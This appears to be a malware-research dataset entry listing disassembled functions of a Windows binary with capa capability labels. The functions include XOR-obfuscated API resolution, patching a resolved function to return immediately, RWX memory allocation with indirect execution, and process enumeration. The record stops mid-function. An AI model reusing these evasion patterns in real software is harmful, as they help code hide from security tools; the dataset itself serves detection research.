joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140006fb0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x1400c6088]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140007083
cmp byte [rcx + 0x71], 0
je 0x140007083
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x14000707f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140007044
sub eax, 1
je 0x140007048
cmp eax, 2
jne 0x14000707f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400a2f90
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140007076
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000707f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000702c
xor al, al
jmp 0x14000702c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400a2f90
add rsp, 0x60
pop rbx
ret
Function at 0x1400092a0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x1400c6088]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor edx, edx
mov dword [rsp + 0x20], 0x130
mov rdi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x140009408
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rax, [rsp + 0x4c]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140009306
cmp qword [rdi + 0x18], 0x10
mov rcx, rdi
mov rsi, qword [rdi + 0x10]
jb 0x140009320
mov rcx, qword [rdi]
cmp rbx, rsi
lea rdx, [rsp + 0x4c]
mov r8, rsi
cmovb r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000938e
cmp rsi, rbx
jb 0x14000938e
ja 0x14000938e
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rdi + 0x18]
mov ebx, dword [rsp + 0x28]
cmp rdx, 0x10
jb 0x140009386
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140009381
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000947c
mov rcx, r8
call fcn.1400a330c
mov rax, rbx
jmp 0x140009440
lea rdx, [rsp + 0x20]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x1400093ff
lea rax, [rsp + 0x4c]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400093b0
cmp qword [rdi + 0x18], 0x10
mov rcx, rdi
mov rsi, qword [rdi + 0x10]
jb 0x1400093ca
mov rcx, qword [rdi]
cmp rbx, rsi
lea rdx, [rsp + 0x4c]
mov r8, rsi
cmovb r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400093ed
cmp rsi, rbx
jb 0x1400093ed
jbe 0x14000933f
lea rdx, [rsp + 0x20]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400093a0
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x14000943e
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140009439
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000947c
mov rcx, r8
call fcn.1400a330c
xor eax, eax
mov byte [rdi], 0
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rdi + 0x10], 0
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400a2f90
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x14000f0b0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x160
mov rax, qword [0x1400c6088]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor edx, edx
mov rbx, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rdx, [rsp + 0x4c]
mov r9, rbx
sub r9, rdx
movzx r8d, byte [rdx]
movzx ecx, byte [rdx + r9]
sub r8d, ecx
jne 0x14000f116
inc rdx
test ecx, ecx
jne 0x14000f101
test r8d, r8d
je 0x14000f157
nop dword [rax + rax]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x14000f17a
lea rax, [rsp + 0x4c]
mov r8, rbx
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14000f153
inc rax
test ecx, ecx
jne 0x14000f140
test edx, edx
jne 0x14000f120
mov al, 1
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400a2f90
mov rbx, qword [rsp + 0x170]
add rsp, 0x160
pop rdi
ret
xor al, al
jmp 0x14000f159
Function at 0x1400115e0
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x1400c6088]
xor rax, rsp
mov qword [rbp - 0x18], rax
cmp byte [0x1400b6b39], 0
movsd xmm0, qword [0x1400b6b30]
movzx eax, word [0x1400b6b38]
movsd qword [rbp - 0x40], xmm0
mov word [rbp - 0x38], ax
je 0x140011640
xor byte [rbp - 0x3f], 0x33
xor byte [rbp - 0x3e], 0x34
xor byte [rbp - 0x3d], 0x35
xor byte [rbp - 0x3c], 0x36
xor byte [rbp - 0x3b], 0x37
xor byte [rbp - 0x3a], 0x38
xor byte [rbp - 0x39], 0x39
xor byte [rbp - 0x38], 0x3a
xor byte [rbp - 0x37], 0x3b
mov byte [rbp - 0x40], WSASetLastError
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9, rax
test rax, rax
je 0x140011824
cmp byte [0x1400b7c65], 0
mov ecx, dword [0x1400b7c60]
movsd xmm0, qword [0x1400b7c58]
mov dword [rbp - 0x28], ecx
movzx ecx, word [0x1400b7c64]
mov word [rbp - 0x24], cx
mov qword [rsp + 0x70], rbx
movsd qword [rbp - 0x30], xmm0
je 0x1400117ed
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400117a8
movdqa xmm2, xmmword [0x1400b8680]
mov eax, 4
movdqa xmm4, xmmword [0x1400b86e0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400b8690]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov ecx, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movaps xmmword [rsp + 0x50], xmm6
movd xmm6, eax
mov eax, Ordinal_32
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movd xmm5, eax
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b86a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [0x1400b7c58]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rbp - 0x30], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movaps xmm6, xmmword [rsp + 0x50]
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b86a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rbp - 0x2c]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
xorps xmm2, xmm0
movd dword [rbp - 0x2c], xmm2
movsxd rax, ecx
lea r8, [rbp - 0x30]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
inc ecx
sub al, dl
add al, 0x32
xor byte [r8 - 1], al
cmp ecx, 0xe
jl 0x1400117c0
lea rdx, [rbp - 0x30]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x14001181f
mov edx, 1
lea r9, [rbp - 0x20]
mov rcx, rax
lea r8d, [rdx + 0x3f]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14001181f
mov byte [rbx], 0xc3
mov rbx, qword [rsp + 0x70]
mov rcx, qword [rbp - 0x18]
xor rcx, rsp
call fcn.1400a2f90
add rsp, 0x60
pop rbp
ret
Function at 0x140011870
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str._s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x140011883
add rsp, 0x28
ret

Function at 0x140011950
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
movsd xmm0, qword [0x1400b7dd0]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x50], rax
xor edi, edi
cmp dword [reloc.WS2_32.dll_accept], 2
mov ecx, edi
mov eax, dword [0x1400b7dd8]
mov dword [rsp + 0x48], eax
movzx eax, byte [0x1400b7ddc]
mov byte [rsp + 0x4c], al
movsd qword [rsp + 0x40], xmm0
jl 0x140011aab
movdqa xmm2, xmmword [0x1400b8680]
mov eax, 4
movdqa xmm4, xmmword [0x1400b86e0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400b8690]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov ecx, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movaps xmmword [rsp + 0x60], xmm6
movd xmm6, eax
mov eax, Ordinal_32
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movd xmm5, eax
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b86a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [0x1400b7dd0]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rsp + 0x40], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movaps xmm6, xmmword [rsp + 0x60]
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b86a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rsp + 0x44]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
xorps xmm2, xmm0
movd dword [rsp + 0x44], xmm2
movsxd rax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
inc ecx
sub al, dl
add al, 0x32
xor byte [r8 - 1], al
cmp ecx, 0xd
jl 0x140011ac0
lea rax, [rsp + 0x40]
mov rbx, rdi
mov qword [rsp + 0x58], rax
nop word [rax + rax]
mov rcx, qword [rsp + rbx*8 + 0x50]
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x140011b49
inc rbx
cmp rbx, 2
jl 0x140011b00
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
call fcn.140011940
int3
Function at 0x1400216f0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x1400c6088]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor sil, sil
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov edi, eax
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
test rax, rax
je 0x14002177c
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140021773
nop dword [rax]
cmp dword [rsp + 0x28], edi
je 0x14002176a
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140021750
jmp 0x140021773
cmp dword [rsp + 0x40], 0
sete sil
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, sil
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400a2f90
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140025840
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x160
mov rax, qword [0x1400c6088]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor edx, edx
mov rbx, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14002587d
xor eax, eax
jmp 0x14002592f
xor edx, edx
mov qword [rsp + 0x170], rsi
mov r8d, Ordinal_301
lea rcx, [rsp + 0x24]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rdi
xor sil, sil
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140025914
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rsp + 0x4c]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], sil
jne 0x1400258d0
cmp qword [rbx + 0x18], 0x10
mov rcx, rbx
mov r8, qword [rbx + 0x10]
jb 0x1400258ea
mov rcx, qword [rbx]
cmp r8, rax
jne 0x1400258fd
lea rdx, [rsp + 0x4c]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140025911
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400258c0
jmp 0x140025914
mov sil, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
test sil, sil
mov rsi, qword [rsp + 0x170]
cmovne eax, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400a2f90
mov rbx, qword [rsp + 0x178]
add rsp, 0x160
pop rdi
ret
Function at 0x140029c90
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x48
movaps xmmword [rsp + 0x30], xmm6
movsd xmm0, qword [0x1400b6b30]
movsd qword [rsp + 0x20], xmm0
movzx eax, word [0x1400b6b38]
mov word [rsp + 0x28], ax
cmp byte [0x1400b6b39], 0
je 0x140029cee
mov byte [rsp + 0x20], WSASetLastError
xor byte [rsp + 0x21], 0x33
xor byte [rsp + 0x22], 0x34
xor byte [rsp + 0x23], 0x35
xor byte [rsp + 0x24], 0x36
xor byte [rsp + 0x25], 0x37
xor byte [rsp + 0x26], 0x38
xor byte [rsp + 0x27], 0x39
xor byte [rsp + 0x28], 0x3a
xor byte [rsp + 0x29], 0x3b
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r9, rax
mov rcx, qword [str.GwYYD_9z_sOHUUIYO]
mov qword [rsp + 0x50], rcx
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x140029e6c
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140029e2b
movdqa xmm4, xmmword [0x1400b86e0]
mov eax, 4
movd xmm6, eax
mov eax, Ordinal_32
movd xmm5, eax
movdqa xmm2, xmmword [0x1400b8680]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b86a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rsp + 0x50]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm3, xmmword [0x1400b8690]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b86a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rsp + 0x54]
xorps xmm2, xmm0
movd dword [rsp + 0x54], xmm2
mov ecx, 8
cmp ecx, 8
jae 0x140029e6c
mov eax, ecx
lea r8, [rsp + 0x50]
add r8, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x32
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 8
jl 0x140029e40
lea rdx, [rsp + 0x50]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
mov ecx, 0x99999999
call rax
nop
xor eax, eax
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
ret
Function at 0x140029ea0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x1400c6088]
xor rax, rsp
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x58], 0
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [rsp + 0x2c]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov qword [rsp + 0x20], rax
test rax, rax
je 0x140029f5f
mov byte [rax], 0xc3
mov edx, dword [rsp + 0x2c]
lea r9, [rsp + 0x58]
mov r8d, 0x140
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140029f5f
call rbx
nop
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400a2f90
add rsp, 0x70
pop rbx
ret
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400a2f90
add rsp, 0x70
pop rbx
ret
Function at 0x140029f80
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
sub rsp, 0xa8
cmp byte [0x1400b6a11], 0
movups xmm0, xmmword [0x1400b6a00]
movzx eax, word [0x1400b6a10]
mov word [rsp + 0x60], ax
movups xmmword [rsp + 0x50], xmm0
je 0x14002a16d
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14002a128
movdqa xmm0, xmmword [str.2222222222222222O]
lea rdx, [r11 - 0x54]
movdqa xmm5, xmmword [0x1400b8680]
mov eax, 4
movdqa xmm4, xmmword [0x1400b86e0]
movaps xmmword [r11 - 0x18], xmm6
movaps xmmword [r11 - 0x28], xmm7
movdqa xmm7, xmmword [0x1400b86a0]
movd xmm6, eax
mov eax, Ordinal_32
movdqa xmmword [rsp + 0x40], xmm0
mov r8d, dword [rsp + 0x40]
movaps xmmword [r11 - 0x38], xmm8
movd xmm8, eax
nop
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x10
jl 0x14002a010
movaps xmm8, xmmword [rsp + 0x70]
movaps xmm7, xmmword [rsp + 0x80]
movaps xmm6, xmmword [rsp + 0x90]
cmp ecx, 0x12
jge 0x14002a16d
movsxd rax, ecx
lea r8, [rsp + 0x50]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
inc ecx
sub al, dl
add al, 0x32
xor byte [r8 - 1], al
cmp ecx, 0x12
jl 0x14002a140
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
lea rcx, [rsp + 0x50]
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x14002a1b6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add rsp, 0xa8
ret
xor al, al
add rsp, 0xa8
ret
Function at 0x14002a1c0
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
sub rsp, 0xb8
mov rax, qword [0x1400c6088]
xor rax, rsp
mov qword [rsp + 0x78], rax
movzx eax, word [0x1400b7bf8]
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
movups xmm0, xmmword [str.araavjfmqJ_M_mb_nhe]
mov word [rsp + 0x50], ax
movups xmm1, xmmword [0x1400b7be8]
movzx eax, byte [0x1400b7bfa]
mov byte [rsp + 0x52], al
mov qword [r11 - 0x48], rcx
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm1
jl 0x14002a38d
movdqa xmm0, xmmword [str.2222222222222222O]
lea rdx, [rsp + 0x34]
movdqa xmm5, xmmword [0x1400b8680]
mov eax, 4
movdqa xmm4, xmmword [0x1400b86e0]
movaps xmmword [r11 - 0x18], xmm6
movaps xmmword [r11 - 0x28], xmm7
movdqa xmm7, xmmword [0x1400b86a0]
movd xmm6, eax
mov eax, Ordinal_32
movdqa xmmword [rsp + 0x60], xmm0
mov r8d, dword [rsp + 0x60]
movaps xmmword [r11 - 0x38], xmm8
movd xmm8, eax
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
mov eax, ecx
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x20
jl 0x14002a270
movaps xmm8, xmmword [rsp + 0x80]
movaps xmm7, xmmword [rsp + 0x90]
movaps xmm6, xmmword [rsp + 0xa0]
cmp eax, 0x23
jge 0x14002a3cd
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
inc ecx
sub al, dl
add al, 0x32
xor byte [r8 - 1], al
cmp ecx, 0x23
jl 0x14002a3a0
lea rax, [rsp + 0x70]
mov r9d, 1
